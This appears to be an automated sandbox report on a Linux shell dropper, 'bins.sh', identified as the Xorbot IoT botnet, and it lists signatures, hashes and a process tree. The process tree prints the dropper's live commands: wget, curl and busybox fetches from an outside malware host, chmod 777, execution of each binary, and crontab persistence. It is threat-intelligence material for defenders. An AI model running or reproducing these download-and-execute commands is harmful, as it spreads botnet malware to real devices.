Analysis

  • max time kernel
    64s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09/02/2025, 04:31

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250209-e5kfyswrfr
  • SHA256 89d4b34ff293a5233b00b7e25af871fde898ec3dc2b8aacf6f32f948387d50d6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1751) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 25 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1493
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1494
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1495
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1499
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1501
      • /bin/chmod
        chmod 777 XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
        • File and Directory Permissions Modification
        PID:1502
      • /tmp/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        ./XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
        2⤵
          PID:1503
        • /bin/rm
          rm XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
          2⤵
            PID:1505
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1506
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1507
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1509
          • /bin/chmod
            chmod 777 R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
            • File and Directory Permissions Modification
            PID:1510
          • /tmp/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            ./R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
            2⤵
              PID:1511
            • /bin/rm
              rm R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
              2⤵
                PID:1513
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1514
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1515
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1517
              • /bin/chmod
                chmod 777 UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                • File and Directory Permissions Modification
                PID:1518
              • /tmp/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                ./UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                2⤵
                  PID:1519
                • /bin/rm
                  rm UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                  2⤵
                    PID:1521
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1522
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1523
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1525
                  • /bin/chmod
                    chmod 777 pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1526
                  • /tmp/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    ./pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                    2⤵
                      PID:1527
                    • /bin/rm
                      rm pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                      2⤵
                        PID:1529
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1530
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1531
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1533
                      • /bin/chmod
                        chmod 777 DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1534
                      • /tmp/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        ./DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                        2⤵
                          PID:1535
                        • /bin/rm
                          rm DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                          2⤵
                            PID:1537
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1538
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1539
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1541
                          • /bin/chmod
                            chmod 777 cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1542
                          • /tmp/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            ./cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                            2⤵
                              PID:1543
                            • /bin/rm
                              rm cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                              2⤵
                                PID:1545
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1546
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1547
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1549
                              • /bin/chmod
                                chmod 777 jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1550
                              • /tmp/jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                ./jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                2⤵
                                  PID:1551
                                • /bin/rm
                                  rm jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                  2⤵
                                    PID:1553
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:1554
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:1555
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:1557
                                  • /bin/chmod
                                    chmod 777 OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1558
                                  • /tmp/OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                    ./OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:1559
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:1561
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:1562
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:1563
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:1564
                                        • /bin/rm
                                          rm OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                          2⤵
                                            PID:1566
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/qZnVVc2CRaowAwnKjAquclONbOCmceCU7F
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:1569

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

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                                              Downloads

                                              DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ

                                              • Path /tmp/DntYGla0ZBFPgj2I2yWNXa3eOrnlnHNdVZ
                                              • Size 107KB
                                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                              • MD5 SHA1 SHA512 SSDEEP

                                              OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J

                                              • Path /tmp/OzvrDSVLvlcYT4UfUiusz50sGF1x5HlZ4J
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO

                                              • Path /tmp/R7QtbKlMLdWCIST2AauLUDLdcUfHtwNOUO
                                              • Size 127KB
                                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9

                                              • Path /tmp/UjB31f88oCzl5F00Eff3ZM4teJZZxAO2T9
                                              • Size 111KB
                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                              • MD5 SHA1 SHA512 SSDEEP

                                              XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8

                                              • Path /tmp/XKrr0DEvy7emrUUVBSuEkiraskAhMgZUf8
                                              • Size 177KB
                                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                              • MD5 SHA1 SHA512 SSDEEP

                                              cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w

                                              • Path /tmp/cbtGUKj2wCtMgs7cYiLgmZjzuhM2ud8r7w
                                              • Size 151KB
                                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                              • MD5 SHA1 SHA512 SSDEEP

                                              jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv

                                              • Path /tmp/jHQoAqgBz66sNRGT4PdraNOiBUxYSGjuMv
                                              • Size 117KB
                                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                              • MD5 SHA1 SHA512 SSDEEP

                                              pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q

                                              • Path /tmp/pFOQiMYLSPy44p6QGgHzN4YadDOyBX9m5Q
                                              • Size 122KB
                                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                              • MD5 SHA1 SHA512 SSDEEP

                                              qZnVVc2CRaowAwnKjAquclONbOCmceCU7F

                                              • Path /tmp/qZnVVc2CRaowAwnKjAquclONbOCmceCU7F
                                              • Size 39KB
                                              • SHA256 879f458a41c9aed969bad907b2409191703a345ab94d3a5d2af1d9f3d66d2391
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.srNiaW

                                              • Path /var/spool/cron/crontabs/tmp.srNiaW
                                              • Size 210B
                                              • SHA256 d9f1830d7d69bad73481efa826f6223b1403660df3ab46df5652fe3d68e7ecb3
                                              • MD5 SHA1 SHA512